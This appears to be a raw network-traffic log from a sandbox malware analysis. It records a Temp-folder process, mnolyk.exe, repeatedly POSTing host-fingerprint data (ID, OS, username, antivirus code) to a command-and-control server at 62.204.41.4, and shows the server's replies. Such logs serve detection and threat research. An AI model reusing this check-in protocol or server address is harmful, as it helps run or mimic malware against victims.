Feb 8, 2023 21:33:23.222781897 CET	624	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:23.285810947 CET	624	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
425	192.168.2.3	50128	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:23.470232964 CET	625	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:23.533766031 CET	625	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
426	192.168.2.3	50129	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:23.715965033 CET	626	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:23.778614998 CET	626	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
427	192.168.2.3	50130	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:23.953140974 CET	627	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:24.018573999 CET	627	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
428	192.168.2.3	50131	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:24.191823006 CET	628	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:24.256805897 CET	628	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
429	192.168.2.3	50132	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:24.436847925 CET	629	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:24.499838114 CET	629	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.3	49745	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:27.438465118 CET	244	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:27.502505064 CET	244	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
430	192.168.2.3	50133	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:24.671407938 CET	630	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:24.736025095 CET	630	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
431	192.168.2.3	50134	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:24.907486916 CET	631	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:24.970339060 CET	631	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
432	192.168.2.3	50135	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:25.140151024 CET	632	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:25.203968048 CET	632	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
433	192.168.2.3	50136	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:25.375931978 CET	633	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:25.438723087 CET	633	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
434	192.168.2.3	50137	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:25.608006001 CET	634	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:25.671648026 CET	634	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
435	192.168.2.3	50138	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:25.846129894 CET	635	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:25.911890030 CET	635	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
436	192.168.2.3	50139	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:26.098524094 CET	636	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:26.163223028 CET	636	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
437	192.168.2.3	50140	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:26.342715025 CET	637	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:26.406277895 CET	637	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
438	192.168.2.3	50141	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:26.577111006 CET	638	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:26.640788078 CET	638	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
439	192.168.2.3	50142	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:26.815454960 CET	639	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:26.880913019 CET	639	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.3	49746	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:27.686671972 CET	245	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:27.752453089 CET	245	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
440	192.168.2.3	50143	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:27.062953949 CET	640	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:27.128356934 CET	640	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.3	50144	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:27.296113014 CET	641	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:27.361238003 CET	641	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	192.168.2.3	50145	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:27.528968096 CET	642	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:27.592056990 CET	642	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	192.168.2.3	50146	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:27.767390013 CET	643	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:27.834901094 CET	643	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.3	50147	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
